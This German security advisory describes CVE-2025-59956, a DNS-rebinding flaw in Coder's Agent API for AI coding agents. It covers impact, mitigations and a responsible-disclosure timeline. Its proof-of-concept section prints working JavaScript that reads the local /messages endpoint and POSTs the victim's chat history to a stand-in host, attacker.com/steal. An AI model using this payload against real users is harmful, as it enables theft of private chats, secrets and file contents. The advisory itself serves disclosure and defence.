Autor: Evan Harris
Betroffene Komponente: Coders Agent API
CVE: CVE-2025-59956
CVSS-3.1-Score: 6.5 (Mittel) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Überblick

Coders Agent API ist eine quelloffene HTTP-API für Claude Code, Goose, Aider, Gemini, Amp und Codex.

MCPSec hat in der Agent API eine DNS-Rebinding-Schwachstelle gefunden, die es entfernten Angreifern ermöglicht, den Claude-Code-Nachrichtenverlauf eines Benutzers zu exfiltrieren.

Coder hat dieses Problem im Release v0.4.0 behoben. Benutzer der Agent API sollten auf diese oder eine neuere Version aktualisieren.

Auswirkung

Angreifer erlangen vollständigen GET-Zugriff auf den von der Agent API bereitgestellten Endpunkt /messages.

Dies ermöglicht die unbefugte Exfiltration sensibler Benutzerdaten, insbesondere des lokalen Nachrichtenverlaufs, der geheime Schlüssel, Dateisysteminhalte und geistiges Eigentum enthalten kann, an dem der Benutzer lokal arbeitet.

DNS-Rebinding kann innerhalb weniger Sekunden erfolgen, sobald eine Verbindung zu einem bösartigen Webserver besteht.

Proof of Concept

Gehen Sie von den folgenden Annahmen aus:

  • Auf der Maschine des Opfers läuft die Agent API.
  • Das Opfer ruft eine bösartige Website auf.
  • Die Website führt einen DNS-Rebinding-Angriff aus, um den Webbrowser des Opfers so zu manipulieren, dass er im Auftrag des Angreifers mit der verwundbaren Agent API interagiert.

Nachdem das DNS-Rebinding abgeschlossen ist, kann ein Angreifer den lokal bereitgestellten Endpunkt /messages abfragen. Der gesamte Chat-Verlauf eines Opfers mit der Agent API kann auf den Server eines Angreifers exfiltriert werden.

MCPSec hat einen Proof-of-Concept-Angriff wie folgt durchgeführt:

  1. Bereitstellung einer DNS-Rebinding-Anwendung (z. B. Singularity of Origin).

  2. Erstellung einer Payload, die von einer bösartigen Website bereitgestellt wird, um Daten abzurufen und zu exfiltrieren.

Dieser JavaScript-Code, der von der bösartigen Website bereitgestellt wird, ruft den Nachrichtenverlauf ab und sendet ihn an den Angreifer.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Der Endpunkt /messages wird auf der lokalen Maschine des Opfers bereitgestellt und antwortet bei Abfrage mit dessen Chat-Verlauf.

  1. Der Angreifer muss einen Datensammelserver betreiben, der eine POST-Anfrage empfängt. Der Inhalt der POST-Anfrage sollte die Antwort des Endpunkts /messages der Agent API des Opfers sein.

Auf der Maschine des Opfers wurde die Agent API angewiesen, das lokale Dateisystem zu untersuchen. Dies wurde an den Datensammelserver des Angreifers gesendet:

Im Folgenden ein Beispiel für die JSON-Daten, die von einem Opfer gestohlen wurden, das den Agenten nach seinem lokalen Dateisystem gefragt hatte.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Empfohlene Gegenmaßnahmen

Für Benutzer (sofort)

  • Aktualisieren Sie umgehend auf Agent-API-Version v0.4.0 oder neuer. Diese Version enthält die Behebung der Schwachstelle.

Für Entwickler (langfristig)

  • Implementieren Sie eine robuste Host-Header-Validierung für alle lokal bereitgestellten HTTP-APIs, um DNS-Rebinding zu verhindern.
  • Implementieren Sie CSRF-Schutz, um andere Formen von Cross-Origin-Angriffen zu verhindern.
  • Fügen Sie Sicherheitswarnungen in der Dokumentation für Tools hinzu, die lokale Netzwerkdienste bereitstellen.

Diese Schwachstelle wurde dem Coder-Team im Rahmen einer verantwortungsvollen Offenlegung gemeldet. Coder reagierte schnell, um das Problem zu beheben.

Zeitleiste der Offenlegung

  • 2025-07-25: Erster Schwachstellenbericht an Coder übermittelt.
  • 2025-07-25: Coder bestätigt den Eingang des Berichts.
  • 2025-07-29: Coder gibt an, das Angriffsszenario reproduzieren und validieren zu können.
  • 2025-08-13: Die Schwachstelle wurde behoben.
  • 2025-08-21: Coder entscheidet sich, für den Bericht eine Security-Bounty zu vergeben.
  • 2025-09-09: Einvernehmliches Veröffentlichungsdatum des Hinweises vereinbart.
  • 2025-09-19: Sicherheitshinweis veröffentlicht.

Fazit

Die DNS-Rebinding-Schwachstelle in Coders Agent API zeigt eine kritische Sicherheitsherausforderung für das wachsende Ökosystem lokaler KI-gestützter Entwicklerwerkzeuge auf. Diese Werkzeuge bieten leistungsstarke Funktionen, müssen jedoch mit einem Security-First-Ansatz entwickelt werden, um vor webbasierten Bedrohungen zu schützen.

Ein Dank geht an das Coder-Team für seine schnelle und professionelle Reaktion bei der Behebung dieser Schwachstelle. Alle Benutzer der Agent API sollten auf die neueste Version aktualisieren, um sicherzustellen, dass sie geschützt sind.

Referenzen